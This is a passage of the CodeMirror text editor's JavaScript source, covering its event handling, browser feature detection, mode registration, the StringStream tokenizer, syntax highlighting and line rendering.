}\n\n  // Case 4: Nowhere to move\n  return null\n}\n\n// EVENT HANDLING\n\n// Lightweight event framework. on/off also work on DOM nodes,\n// registering native DOM handlers.\n\nvar noHandlers = [];\n\nvar on = function(emitter, type, f) {\n  if (emitter.addEventListener) {\n    emitter.addEventListener(type, f, false);\n  } else if (emitter.attachEvent) {\n    emitter.attachEvent(\"on\" + type, f);\n  } else {\n    var map$$1 = emitter._handlers || (emitter._handlers = {});\n    map$$1[type] = (map$$1[type] || noHandlers).concat(f);\n  }\n};\n\nfunction getHandlers(emitter, type) {\n  return emitter._handlers && emitter._handlers[type] || noHandlers\n}\n\nfunction off(emitter, type, f) {\n  if (emitter.removeEventListener) {\n    emitter.removeEventListener(type, f, false);\n  } else if (emitter.detachEvent) {\n    emitter.detachEvent(\"on\" + type, f);\n  } else {\n    var map$$1 = emitter._handlers, arr = map$$1 && map$$1[type];\n    if (arr) {\n      var index = indexOf(arr, f);\n      if (index > -1)\n        { map$$1[type] = arr.slice(0, index).concat(arr.slice(index + 1)); }\n    }\n  }\n}\n\nfunction signal(emitter, type /*, values...*/) {\n  var handlers = getHandlers(emitter, type);\n  if (!handlers.length) { return }\n  var args = Array.prototype.slice.call(arguments, 2);\n  for (var i = 0; i < handlers.length; ++i) { handlers[i].apply(null, args); }\n}\n\n// The DOM events that CodeMirror handles can be overridden by\n// registering a (non-DOM) handler on the editor for the event name,\n// and preventDefault-ing the event in that handler.\nfunction signalDOMEvent(cm, e, override) {\n  if (typeof e == \"string\")\n    { e = {type: e, preventDefault: function() { this.defaultPrevented = true; }}; }\n  signal(cm, override || e.type, cm, e);\n  return e_defaultPrevented(e) || e.codemirrorIgnore\n}\n\nfunction signalCursorActivity(cm) {\n  var arr = cm._handlers && cm._handlers.cursorActivity;\n  if (!arr) { return }\n  var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);\n  for (var i = 0; i < arr.length; ++i) { if (indexOf(set, arr[i]) == -1)\n    { set.push(arr[i]); } }\n}\n\nfunction hasHandler(emitter, type) {\n  return getHandlers(emitter, type).length > 0\n}\n\n// Add on and off methods to a constructor's prototype, to make\n// registering events on such objects more convenient.\nfunction eventMixin(ctor) {\n  ctor.prototype.on = function(type, f) {on(this, type, f);};\n  ctor.prototype.off = function(type, f) {off(this, type, f);};\n}\n\n// Due to the fact that we still support jurassic IE versions, some\n// compatibility wrappers are needed.\n\nfunction e_preventDefault(e) {\n  if (e.preventDefault) { e.preventDefault(); }\n  else { e.returnValue = false; }\n}\nfunction e_stopPropagation(e) {\n  if (e.stopPropagation) { e.stopPropagation(); }\n  else { e.cancelBubble = true; }\n}\nfunction e_defaultPrevented(e) {\n  return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false\n}\nfunction e_stop(e) {e_preventDefault(e); e_stopPropagation(e);}\n\nfunction e_target(e) {return e.target || e.srcElement}\nfunction e_button(e) {\n  var b = e.which;\n  if (b == null) {\n    if (e.button & 1) { b = 1; }\n    else if (e.button & 2) { b = 3; }\n    else if (e.button & 4) { b = 2; }\n  }\n  if (mac && e.ctrlKey && b == 1) { b = 3; }\n  return b\n}\n\n// Detect drag-and-drop\nvar dragAndDrop = function() {\n  // There is *some* kind of drag-and-drop support in IE6-8, but I\n  // couldn't get it to work yet.\n  if (ie && ie_version < 9) { return false }\n  var div = elt('div');\n  return \"draggable\" in div || \"dragDrop\" in div\n}();\n\nvar zwspSupported;\nfunction zeroWidthElement(measure) {\n  if (zwspSupported == null) {\n    var test = elt(\"span\", \"\\u200b\");\n    removeChildrenAndAdd(measure, elt(\"span\", [test, document.createTextNode(\"x\")]));\n    if (measure.firstChild.offsetHeight != 0)\n      { zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8); }\n  }\n  var node = zwspSupported ? elt(\"span\", \"\\u200b\") :\n    elt(\"span\", \"\\u00a0\", null, \"display: inline-block; width: 1px; margin-right: -1px\");\n  node.setAttribute(\"cm-text\", \"\");\n  return node\n}\n\n// Feature-detect IE's crummy client rect reporting for bidi text\nvar badBidiRects;\nfunction hasBadBidiRects(measure) {\n  if (badBidiRects != null) { return badBidiRects }\n  var txt = removeChildrenAndAdd(measure, document.createTextNode(\"A\\u062eA\"));\n  var r0 = range(txt, 0, 1).getBoundingClientRect();\n  var r1 = range(txt, 1, 2).getBoundingClientRect();\n  removeChildren(measure);\n  if (!r0 || r0.left == r0.right) { return false } // Safari returns null in some cases (#2780)\n  return badBidiRects = (r1.right - r0.right < 3)\n}\n\n// See if \"\".split is the broken IE version, if so, provide an\n// alternative way to split lines.\nvar splitLinesAuto = \"\\n\\nb\".split(/\\n/).length != 3 ? function (string) {\n  var pos = 0, result = [], l = string.length;\n  while (pos <= l) {\n    var nl = string.indexOf(\"\\n\", pos);\n    if (nl == -1) { nl = string.length; }\n    var line = string.slice(pos, string.charAt(nl - 1) == \"\\r\" ? nl - 1 : nl);\n    var rt = line.indexOf(\"\\r\");\n    if (rt != -1) {\n      result.push(line.slice(0, rt));\n      pos += rt + 1;\n    } else {\n      result.push(line);\n      pos = nl + 1;\n    }\n  }\n  return result\n} : function (string) { return string.split(/\\r\\n?|\\n/); };\n\nvar hasSelection = window.getSelection ? function (te) {\n  try { return te.selectionStart != te.selectionEnd }\n  catch(e) { return false }\n} : function (te) {\n  var range$$1;\n  try {range$$1 = te.ownerDocument.selection.createRange();}\n  catch(e) {}\n  if (!range$$1 || range$$1.parentElement() != te) { return false }\n  return range$$1.compareEndPoints(\"StartToEnd\", range$$1) != 0\n};\n\nvar hasCopyEvent = (function () {\n  var e = elt(\"div\");\n  if (\"oncopy\" in e) { return true }\n  e.setAttribute(\"oncopy\", \"return;\");\n  return typeof e.oncopy == \"function\"\n})();\n\nvar badZoomedRects = null;\nfunction hasBadZoomedRects(measure) {\n  if (badZoomedRects != null) { return badZoomedRects }\n  var node = removeChildrenAndAdd(measure, elt(\"span\", \"x\"));\n  var normal = node.getBoundingClientRect();\n  var fromRange = range(node, 0, 1).getBoundingClientRect();\n  return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1\n}\n\n// Known modes, by name and by MIME\nvar modes = {};\nvar mimeModes = {};\n\n// Extra arguments are stored as the mode's dependencies, which is\n// used by (legacy) mechanisms like loadmode.js to automatically\n// load a mode. (Preferred mechanism is the require/define calls.)\nfunction defineMode(name, mode) {\n  if (arguments.length > 2)\n    { mode.dependencies = Array.prototype.slice.call(arguments, 2); }\n  modes[name] = mode;\n}\n\nfunction defineMIME(mime, spec) {\n  mimeModes[mime] = spec;\n}\n\n// Given a MIME type, a {name, ...options} config object, or a name\n// string, return a mode config object.\nfunction resolveMode(spec) {\n  if (typeof spec == \"string\" && mimeModes.hasOwnProperty(spec)) {\n    spec = mimeModes[spec];\n  } else if (spec && typeof spec.name == \"string\" && mimeModes.hasOwnProperty(spec.name)) {\n    var found = mimeModes[spec.name];\n    if (typeof found == \"string\") { found = {name: found}; }\n    spec = createObj(found, spec);\n    spec.name = found.name;\n  } else if (typeof spec == \"string\" && /^[\\w\\-]+\\/[\\w\\-]+\\+xml$/.test(spec)) {\n    return resolveMode(\"application/xml\")\n  } else if (typeof spec == \"string\" && /^[\\w\\-]+\\/[\\w\\-]+\\+json$/.test(spec)) {\n    return resolveMode(\"application/json\")\n  }\n  if (typeof spec == \"string\") { return {name: spec} }\n  else { return spec || {name: \"null\"} }\n}\n\n// Given a mode spec (anything that resolveMode accepts), find and\n// initialize an actual mode object.\nfunction getMode(options, spec) {\n  spec = resolveMode(spec);\n  var mfactory = modes[spec.name];\n  if (!mfactory) { return getMode(options, \"text/plain\") }\n  var modeObj = mfactory(options, spec);\n  if (modeExtensions.hasOwnProperty(spec.name)) {\n    var exts = modeExtensions[spec.name];\n    for (var prop in exts) {\n      if (!exts.hasOwnProperty(prop)) { continue }\n      if (modeObj.hasOwnProperty(prop)) { modeObj[\"_\" + prop] = modeObj[prop]; }\n      modeObj[prop] = exts[prop];\n    }\n  }\n  modeObj.name = spec.name;\n  if (spec.helperType) { modeObj.helperType = spec.helperType; }\n  if (spec.modeProps) { for (var prop$1 in spec.modeProps)\n    { modeObj[prop$1] = spec.modeProps[prop$1]; } }\n\n  return modeObj\n}\n\n// This can be used to attach properties to mode objects from\n// outside the actual mode definition.\nvar modeExtensions = {};\nfunction extendMode(mode, properties) {\n  var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});\n  copyObj(properties, exts);\n}\n\nfunction copyState(mode, state) {\n  if (state === true) { return state }\n  if (mode.copyState) { return mode.copyState(state) }\n  var nstate = {};\n  for (var n in state) {\n    var val = state[n];\n    if (val instanceof Array) { val = val.concat([]); }\n    nstate[n] = val;\n  }\n  return nstate\n}\n\n// Given a mode and a state (for that mode), find the inner mode and\n// state at the position that the state refers to.\nfunction innerMode(mode, state) {\n  var info;\n  while (mode.innerMode) {\n    info = mode.innerMode(state);\n    if (!info || info.mode == mode) { break }\n    state = info.state;\n    mode = info.mode;\n  }\n  return info || {mode: mode, state: state}\n}\n\nfunction startState(mode, a1, a2) {\n  return mode.startState ? mode.startState(a1, a2) : true\n}\n\n// STRING STREAM\n\n// Fed to the mode parsers, provides helper functions to make\n// parsers more succinct.\n\nvar StringStream = function(string, tabSize, lineOracle) {\n  this.pos = this.start = 0;\n  this.string = string;\n  this.tabSize = tabSize || 8;\n  this.lastColumnPos = this.lastColumnValue = 0;\n  this.lineStart = 0;\n  this.lineOracle = lineOracle;\n};\n\nStringStream.prototype.eol = function () {return this.pos >= this.string.length};\nStringStream.prototype.sol = function () {return this.pos == this.lineStart};\nStringStream.prototype.peek = function () {return this.string.charAt(this.pos) || undefined};\nStringStream.prototype.next = function () {\n  if (this.pos < this.string.length)\n    { return this.string.charAt(this.pos++) }\n};\nStringStream.prototype.eat = function (match) {\n  var ch = this.string.charAt(this.pos);\n  var ok;\n  if (typeof match == \"string\") { ok = ch == match; }\n  else { ok = ch && (match.test ? match.test(ch) : match(ch)); }\n  if (ok) {++this.pos; return ch}\n};\nStringStream.prototype.eatWhile = function (match) {\n  var start = this.pos;\n  while (this.eat(match)){}\n  return this.pos > start\n};\nStringStream.prototype.eatSpace = function () {\n    var this$1 = this;\n\n  var start = this.pos;\n  while (/[\\s\\u00a0]/.test(this.string.charAt(this.pos))) { ++this$1.pos; }\n  return this.pos > start\n};\nStringStream.prototype.skipToEnd = function () {this.pos = this.string.length;};\nStringStream.prototype.skipTo = function (ch) {\n  var found = this.string.indexOf(ch, this.pos);\n  if (found > -1) {this.pos = found; return true}\n};\nStringStream.prototype.backUp = function (n) {this.pos -= n;};\nStringStream.prototype.column = function () {\n  if (this.lastColumnPos < this.start) {\n    this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);\n    this.lastColumnPos = this.start;\n  }\n  return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0)\n};\nStringStream.prototype.indentation = function () {\n  return countColumn(this.string, null, this.tabSize) -\n    (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0)\n};\nStringStream.prototype.match = function (pattern, consume, caseInsensitive) {\n  if (typeof pattern == \"string\") {\n    var cased = function (str) { return caseInsensitive ? str.toLowerCase() : str; };\n    var substr = this.string.substr(this.pos, pattern.length);\n    if (cased(substr) == cased(pattern)) {\n      if (consume !== false) { this.pos += pattern.length; }\n      return true\n    }\n  } else {\n    var match = this.string.slice(this.pos).match(pattern);\n    if (match && match.index > 0) { return null }\n    if (match && consume !== false) { this.pos += match[0].length; }\n    return match\n  }\n};\nStringStream.prototype.current = function (){return this.string.slice(this.start, this.pos)};\nStringStream.prototype.hideFirstChars = function (n, inner) {\n  this.lineStart += n;\n  try { return inner() }\n  finally { this.lineStart -= n; }\n};\nStringStream.prototype.lookAhead = function (n) {\n  var oracle = this.lineOracle;\n  return oracle && oracle.lookAhead(n)\n};\n\nvar SavedContext = function(state, lookAhead) {\n  this.state = state;\n  this.lookAhead = lookAhead;\n};\n\nvar Context = function(doc, state, line, lookAhead) {\n  this.state = state;\n  this.doc = doc;\n  this.line = line;\n  this.maxLookAhead = lookAhead || 0;\n};\n\nContext.prototype.lookAhead = function (n) {\n  var line = this.doc.getLine(this.line + n);\n  if (line != null && n > this.maxLookAhead) { this.maxLookAhead = n; }\n  return line\n};\n\nContext.prototype.nextLine = function () {\n  this.line++;\n  if (this.maxLookAhead > 0) { this.maxLookAhead--; }\n};\n\nContext.fromSaved = function (doc, saved, line) {\n  if (saved instanceof SavedContext)\n    { return new Context(doc, copyState(doc.mode, saved.state), line, saved.lookAhead) }\n  else\n    { return new Context(doc, copyState(doc.mode, saved), line) }\n};\n\nContext.prototype.save = function (copy) {\n  var state = copy !== false ? copyState(this.doc.mode, this.state) : this.state;\n  return this.maxLookAhead > 0 ? new SavedContext(state, this.maxLookAhead) : state\n};\n\n\n// Compute a style array (an array starting with a mode generation\n// -- for invalidation -- followed by pairs of end positions and\n// style strings), which is used to highlight the tokens on the\n// line.\nfunction highlightLine(cm, line, context, forceToEnd) {\n  // A styles array always starts with a number identifying the\n  // mode/overlays that it is based on (for easy invalidation).\n  var st = [cm.state.modeGen], lineClasses = {};\n  // Compute the base array of styles\n  runMode(cm, line.text, cm.doc.mode, context, function (end, style) { return st.push(end, style); },\n          lineClasses, forceToEnd);\n  var state = context.state;\n\n  // Run overlays, adjust style array.\n  var loop = function ( o ) {\n    var overlay = cm.state.overlays[o], i = 1, at = 0;\n    context.state = true;\n    runMode(cm, line.text, overlay.mode, context, function (end, style) {\n      var start = i;\n      // Ensure there's a token end at the current position, and that i points at it\n      while (at < end) {\n        var i_end = st[i];\n        if (i_end > end)\n          { st.splice(i, 1, end, st[i+1], i_end); }\n        i += 2;\n        at = Math.min(end, i_end);\n      }\n      if (!style) { return }\n      if (overlay.opaque) {\n        st.splice(start, i - start, end, \"overlay \" + style);\n        i = start + 2;\n      } else {\n        for (; start < i; start += 2) {\n          var cur = st[start+1];\n          st[start+1] = (cur ? cur + \" \" : \"\") + \"overlay \" + style;\n        }\n      }\n    }, lineClasses);\n  };\n\n  for (var o = 0; o < cm.state.overlays.length; ++o) loop( o );\n  context.state = state;\n\n  return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null}\n}\n\nfunction getLineStyles(cm, line, updateFrontier) {\n  if (!line.styles || line.styles[0] != cm.state.modeGen) {\n    var context = getContextBefore(cm, lineNo(line));\n    var resetState = line.text.length > cm.options.maxHighlightLength && copyState(cm.doc.mode, context.state);\n    var result = highlightLine(cm, line, context);\n    if (resetState) { context.state = resetState; }\n    line.stateAfter = context.save(!resetState);\n    line.styles = result.styles;\n    if (result.classes) { line.styleClasses = result.classes; }\n    else if (line.styleClasses) { line.styleClasses = null; }\n    if (updateFrontier === cm.doc.highlightFrontier)\n      { cm.doc.modeFrontier = Math.max(cm.doc.modeFrontier, ++cm.doc.highlightFrontier); }\n  }\n  return line.styles\n}\n\nfunction getContextBefore(cm, n, precise) {\n  var doc = cm.doc, display = cm.display;\n  if (!doc.mode.startState) { return new Context(doc, true, n) }\n  var start = findStartLine(cm, n, precise);\n  var saved = start > doc.first && getLine(doc, start - 1).stateAfter;\n  var context = saved ? Context.fromSaved(doc, saved, start) : new Context(doc, startState(doc.mode), start);\n\n  doc.iter(start, n, function (line) {\n    processLine(cm, line.text, context);\n    var pos = context.line;\n    line.stateAfter = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo ? context.save() : null;\n    context.nextLine();\n  });\n  if (precise) { doc.modeFrontier = context.line; }\n  return context\n}\n\n// Lightweight form of highlight -- proceed over this line and\n// update state, but don't save a style array. Used for lines that\n// aren't currently visible.\nfunction processLine(cm, text, context, startAt) {\n  var mode = cm.doc.mode;\n  var stream = new StringStream(text, cm.options.tabSize, context);\n  stream.start = stream.pos = startAt || 0;\n  if (text == \"\") { callBlankLine(mode, context.state); }\n  while (!stream.eol()) {\n    readToken(mode, stream, context.state);\n    stream.start = stream.pos;\n  }\n}\n\nfunction callBlankLine(mode, state) {\n  if (mode.blankLine) { return mode.blankLine(state) }\n  if (!mode.innerMode) { return }\n  var inner = innerMode(mode, state);\n  if (inner.mode.blankLine) { return inner.mode.blankLine(inner.state) }\n}\n\nfunction readToken(mode, stream, state, inner) {\n  for (var i = 0; i < 10; i++) {\n    if (inner) { inner[0] = innerMode(mode, state).mode; }\n    var style = mode.token(stream, state);\n    if (stream.pos > stream.start) { return style }\n  }\n  throw new Error(\"Mode \" + mode.name + \" failed to advance stream.\")\n}\n\nvar Token = function(stream, type, state) {\n  this.start = stream.start; this.end = stream.pos;\n  this.string = stream.current();\n  this.type = type || null;\n  this.state = state;\n};\n\n// Utility for getTokenAt and getLineTokens\nfunction takeToken(cm, pos, precise, asArray) {\n  var doc = cm.doc, mode = doc.mode, style;\n  pos = clipPos(doc, pos);\n  var line = getLine(doc, pos.line), context = getContextBefore(cm, pos.line, precise);\n  var stream = new StringStream(line.text, cm.options.tabSize, context), tokens;\n  if (asArray) { tokens = []; }\n  while ((asArray || stream.pos < pos.ch) && !stream.eol()) {\n    stream.start = stream.pos;\n    style = readToken(mode, stream, context.state);\n    if (asArray) { tokens.push(new Token(stream, style, copyState(doc.mode, context.state))); }\n  }\n  return asArray ? tokens : new Token(stream, style, context.state)\n}\n\nfunction extractLineClasses(type, output) {\n  if (type) { for (;;) {\n    var lineClass = type.match(/(?:^|\\s+)line-(background-)?(\\S+)/);\n    if (!lineClass) { break }\n    type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);\n    var prop = lineClass[1] ? \"bgClass\" : \"textClass\";\n    if (output[prop] == null)\n      { output[prop] = lineClass[2]; }\n    else if (!(new RegExp(\"(?:^|\\s)\" + lineClass[2] + \"(?:$|\\s)\")).test(output[prop]))\n      { output[prop] += \" \" + lineClass[2]; }\n  } }\n  return type\n}\n\n// Run the given mode's parser over a line, calling f for each token.\nfunction runMode(cm, text, mode, context, f, lineClasses, forceToEnd) {\n  var flattenSpans = mode.flattenSpans;\n  if (flattenSpans == null) { flattenSpans = cm.options.flattenSpans; }\n  var curStart = 0, curStyle = null;\n  var stream = new StringStream(text, cm.options.tabSize, context), style;\n  var inner = cm.options.addModeClass && [null];\n  if (text == \"\") { extractLineClasses(callBlankLine(mode, context.state), lineClasses); }\n  while (!stream.eol()) {\n    if (stream.pos > cm.options.maxHighlightLength) {\n      flattenSpans = false;\n      if (forceToEnd) { processLine(cm, text, context, stream.pos); }\n      stream.pos = text.length;\n      style = null;\n    } else {\n      style = extractLineClasses(readToken(mode, stream, context.state, inner), lineClasses);\n    }\n    if (inner) {\n      var mName = inner[0].name;\n      if (mName) { style = \"m-\" + (style ? mName + \" \" + style : mName); }\n    }\n    if (!flattenSpans || curStyle != style) {\n      while (curStart < stream.start) {\n        curStart = Math.min(stream.start, curStart + 5000);\n        f(curStart, curStyle);\n      }\n      curStyle = style;\n    }\n    stream.start = stream.pos;\n  }\n  while (curStart < stream.pos) {\n    // Webkit seems to refuse to render text nodes longer than 57444\n    // characters, and returns inaccurate measurements in nodes\n    // starting around 5000 chars.\n    var pos = Math.min(stream.pos, curStart + 5000);\n    f(pos, curStyle);\n    curStart = pos;\n  }\n}\n\n// Finds the line to start with when starting a parse. Tries to\n// find a line with a stateAfter, so that it can start with a\n// valid state. If that fails, it returns the line with the\n// smallest indentation, which tends to need the least context to\n// parse correctly.\nfunction findStartLine(cm, n, precise) {\n  var minindent, minline, doc = cm.doc;\n  var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);\n  for (var search = n; search > lim; --search) {\n    if (search <= doc.first) { return doc.first }\n    var line = getLine(doc, search - 1), after = line.stateAfter;\n    if (after && (!precise || search + (after instanceof SavedContext ? after.lookAhead : 0) <= doc.modeFrontier))\n      { return search }\n    var indented = countColumn(line.text, null, cm.options.tabSize);\n    if (minline == null || minindent > indented) {\n      minline = search - 1;\n      minindent = indented;\n    }\n  }\n  return minline\n}\n\nfunction retreatFrontier(doc, n) {\n  doc.modeFrontier = Math.min(doc.modeFrontier, n);\n  if (doc.highlightFrontier < n - 10) { return }\n  var start = doc.first;\n  for (var line = n - 1; line > start; line--) {\n    var saved = getLine(doc, line).stateAfter;\n    // change is on 3\n    // state on line 1 looked ahead 2 -- so saw 3\n    // test 1 + 2 < 3 should cover this\n    if (saved && (!(saved instanceof SavedContext) || line + saved.lookAhead < n)) {\n      start = line + 1;\n      break\n    }\n  }\n  doc.highlightFrontier = Math.min(doc.highlightFrontier, start);\n}\n\n// LINE DATA STRUCTURE\n\n// Line objects. These hold state related to a line, including\n// highlighting info (the styles array).\nvar Line = function(text, markedSpans, estimateHeight) {\n  this.text = text;\n  attachMarkedSpans(this, markedSpans);\n  this.height = estimateHeight ? estimateHeight(this) : 1;\n};\n\nLine.prototype.lineNo = function () { return lineNo(this) };\neventMixin(Line);\n\n// Change the content (text, markers) of a line. Automatically\n// invalidates cached information and tries to re-estimate the\n// line's height.\nfunction updateLine(line, text, markedSpans, estimateHeight) {\n  line.text = text;\n  if (line.stateAfter) { line.stateAfter = null; }\n  if (line.styles) { line.styles = null; }\n  if (line.order != null) { line.order = null; }\n  detachMarkedSpans(line);\n  attachMarkedSpans(line, markedSpans);\n  var estHeight = estimateHeight ? estimateHeight(line) : 1;\n  if (estHeight != line.height) { updateLineHeight(line, estHeight); }\n}\n\n// Detach a line from the document tree and its markers.\nfunction cleanUpLine(line) {\n  line.parent = null;\n  detachMarkedSpans(line);\n}\n\n// Convert a style as returned by a mode (either null, or a string\n// containing one or more styles) to a CSS style. This is cached,\n// and also looks for line-wide styles.\nvar styleToClassCache = {};\nvar styleToClassCacheWithMode = {};\nfunction interpretTokenStyle(style, options) {\n  if (!style || /^\\s*$/.test(style)) { return null }\n  var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;\n  return cache[style] ||\n    (cache[style] = style.replace(/\\S+/g, \"cm-$&\"))\n}\n\n// Render the DOM representation of the text of a line. Also builds\n// up a 'line map', which points at the DOM nodes that represent\n// specific stretches of text, and is used by the measuring code.\n// The returned object contains the DOM node, this map, and\n// information about line-wide styles that were set by the mode.\nfunction buildLineContent(cm, lineView) {\n  // The padding-right forces the element to have a 'border', which\n  // is needed on Webkit to be able to get line-level bounding\n  // rectangles for it (in measureChar).\n  var content = eltP(\"span\", null, null, webkit ? \"padding-right: .1px\" : null);\n  var builder = {pre: eltP(\"pre\", [content], \"CodeMirror-line\"), content: content,\n                 col: 0, pos: 0, cm: cm,\n                 trailingSpace: false,\n                 splitSpaces: (ie || webkit) && cm.getOption(\"lineWrapping\")};\n  lineView.measure = {};\n\n  // Iterate over the logical lines that make up this visual line.\n  for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {\n    var line = i ? lineView.rest[i - 1] : lineView.line, order = (void 0);\n    builder.pos = 0;\n    builder.addToken = buildToken;\n    // Optionally wire in some hacks into the token-rendering\n    // algorithm, to deal with browser quirks.\n    if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line, cm.doc.direction)))\n      { builder.addToken = buildTokenBadBidi(builder.addToken, order); }\n    builder.map = [];\n    var allowFrontierUpdate = lineView != cm.display.externalMeasured && lineNo(line);\n    insertLineContent(line, builder, getLineStyles(cm, line, allowFrontierUpdate));\n    if (line.styleClasses) {\n      if (line.styleClasses.bgClass)\n        { builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || \"\"); }\n      if (line.styleClasses.textClass)\n        { builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || \"\"); }\n    }\n\n    // Ensure at least a single node is present, for measuring.\n    if (builder.map.length == 0)\n      { builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure))); }\n\n    // Store the map and a cache object for the current logical line\n    if (i == 0) {\n      lineView.measure.map = builder.map;\n      lineView.measure.cache = {};\n    } else {\n      (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map)\n      ;(lineView.measure.caches || (lineView.measure.caches = [])).push({});\n    }\n  }\n\n  // See issue #2901\n  if (webkit) {\n    var last = builder.content.lastChild;\n    if (/\\bcm-tab\\b/.test(last.className) || (last.querySelector && last.querySelector(\".cm-tab\")))\n      { builder.content.className = \"cm-tab-wrap-hack\"; }\n  }\n\n  signal(cm, \"renderLine\", cm, lineView.line, builder.pre);\n  if (builder.pre.className)\n    { builder.textClass = joinClasses(builder.pre.className, builder.textClass || \"\"); }\n\n  return builder\n}\n\nfunction defaultSpecialCharPlaceholder(ch) {\n  var token = elt(\"span\", \"\\u2022\", \"cm-invalidchar\");\n  token.title = \"\\\\u\" + ch.charCodeAt(0).toString(16);\n  token.setAttribute(\"aria-label\", token.title);\n  return token\n}\n\n// Build up the DOM representation for a single token, and add it to\n// the line map. Takes care to render special characters separately.\nfunction buildToken(builder, text, style, startStyle, endStyle, title, css) {\n  if (!text) { return }\n  var displayText = builder.splitSpaces ? splitSpaces(text, builder.trailingSpace) : text;\n  var special = builder.cm.state.specialChars, mustWrap = false;\n  var content;\n  if (!special.test(text)) {\n    builder.col += text.length;\n    content = document.createTextNode(displayText);\n    builder.map.push(builder.pos, builder.pos + text.length, content);\n    if (ie && ie_version < 9) { mustWrap = true; }\n    builder.pos += text.length;\n  } else {\n    content = document.createDocumentFragment();\n    var pos = 0;\n    while (true) {\n      special.lastIndex = pos;\n      var m = special.exec(text);\n      var skipped = m ? m.index - pos : text.length - pos;\n      if (skipped) {\n        var txt = document.createTextNode(displayText.slice(pos, pos + skipped));\n        if (ie && ie_version < 9) { content.appendChild(elt(\"span\", [txt])); }\n        else { content.appendChild(txt); }\n        builder.map.push(builder.pos, builder.pos + skipped, txt);\n        builder.col += skipped;\n        builder.pos += skipped;\n      }\n      if (!m) { break }\n      pos += skipped + 1;\n      var txt$1 = (void 0);\n      if (m[0] == \"\\t\") {\n        var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;\n        txt$1 = content.appendChild(elt(\"span\", spaceStr(tabWidth), \"cm-tab\"));\n        txt$1.setAttribute(\"role\", \"presentation\");\n        txt$1.setAttribute(\"cm-text\", \"\\t\");\n        builder.col += tabWidth;\n      } else if (m[0] == \"\\r\" || m[0] == \"\\n\") {\n        txt$1 = content.appendChild(elt(\"span\", m[0] == \"\\r\" ? \"\\u240d\" : \"\\u2424\", \"cm-invalidchar\"));\n        txt$1.setAttribute(\"cm-text\", m[0]);\n        builder.col += 1;\n      } else {\n        txt$1 = builder.cm.options.specialCharPlaceholder(m[0]);\n        txt$1.setAttribute(\"cm-text\", m[0]);\n        if (ie && ie_version < 9) { content.appendChild(elt(\"span\", [txt$1])); }\n        else { content.appendChild(txt$1); }\n        builder.col += 1;\n      }\n      builder.map.push(builder.pos, builder.pos + 1, txt$1);\n      builder.pos++;\n    }\n  }\n  builder.trailingSpace = displayText.charCodeAt(text.length - 1) == 32;\n  if (style || startStyle || endStyle || mustWrap || css) {\n    var fullStyle = style || \"\";\n    if (startStyle) { fullStyle += startStyle; }\n    if (endStyle) { fullStyle += endStyle; }\n    var token = elt(\"span\", [content], fullStyle, css);\n    if (title) { token.title = title; }\n    return builder.content.appendChild(token)\n  }\n  builder.content.appendChild(content);\n}\n\nfunction splitSpaces(text, trailingBefore) {\n  if (text.length > 1 && !/  /.test(text)) { return text }\n  var spaceBefore = trailingBefore, result = \"\";\n  for (var i = 0; i < text.length; i++) {\n    var ch = text.charAt(i);\n    if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n      { ch = \"\\u00a0\"; }\n    result += ch;\n    spaceBefore = ch == \" \";\n  }\n  return result\n}\n\n// Work around nonsense dimensions being reported for stretches of\n// right-to-left text.\nfunction buildTokenBadBidi(inner, order) {\n  return function (builder, text, style, startStyle, endStyle, title, css) {\n    style = style ? style + \" cm-force-border\" : \"cm-force-border\";\n    var start = builder.pos, end = start + text.length;\n    for (;;) {\n      // Find the part that overlaps with the start of this text\n      var part = (void 0);\n      for (var i = 0; i < order.length; i++) {\n        part = order[i];\n        if (part.to > start && part.from <= start) { break }\n      }\n      if (part.to >= end) { return inner(builder, text, style, startStyle, endStyle, title, css) }\n      inner(builder, text.slice(0, part.to - start), style, startStyle, null, title, css);\n      startStyle = null;\n      text = text.slice(part.to - start);\n      start = part.to;\n    }\n  }\n}\n\nfunction buildCollapsedSpan(builder, size, marker, ignoreWidget) {\n  var widget = !ignoreWidget && marker.widgetNode;\n  if (widget) { builder.map.push(builder.pos, builder.pos + size, widget); }\n  if (!ignoreWidget && builder.cm.display.input.needsContentAttribute) {\n    if (!widget)\n      { widget = builder.content.appendChild(document.createElement(\"span\")); }\n    widget.setAttribute(\"cm-marker\", marker.id);\n  }\n  if (widget) {\n    builder.cm.display.input.setUneditable(widget);\n    builder.content.appendChild(widget);\n  }\n  builder.pos += size;\n  builder.trailingSpace = false;\n}\n\n// Outputs a number of spans to make up a line, taking highlighting\n// and marked text into account.\nfunction insertLineContent(line, builder, styles) {\n  var spans = line.markedSpans, allText = line.text, at = 0;\n  if (!spans) {\n    for (var i$1 = 1; i$1 < styles.length; i$1+=2)\n      { builder.addToken(builder, allText.slice(at, at = styles[i$1]), interpretTokenStyle(styles[i$1+1], builder.cm.options)); }\n    return\n  }\n\n  var len = allText.length, pos = 0, i = 1, text = \"\", style, css;\n  var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;\n  for (;;) {\n    if (nextChange == pos) { // Update current marker set\n      spanStyle = spanEndStyle = spanStartStyle = title = css = \"\";\n      collapsed = null; nextChange = Infinity;\n      var foundBookmarks = [], endStyles = (void 0);\n      for (var j = 0; j < 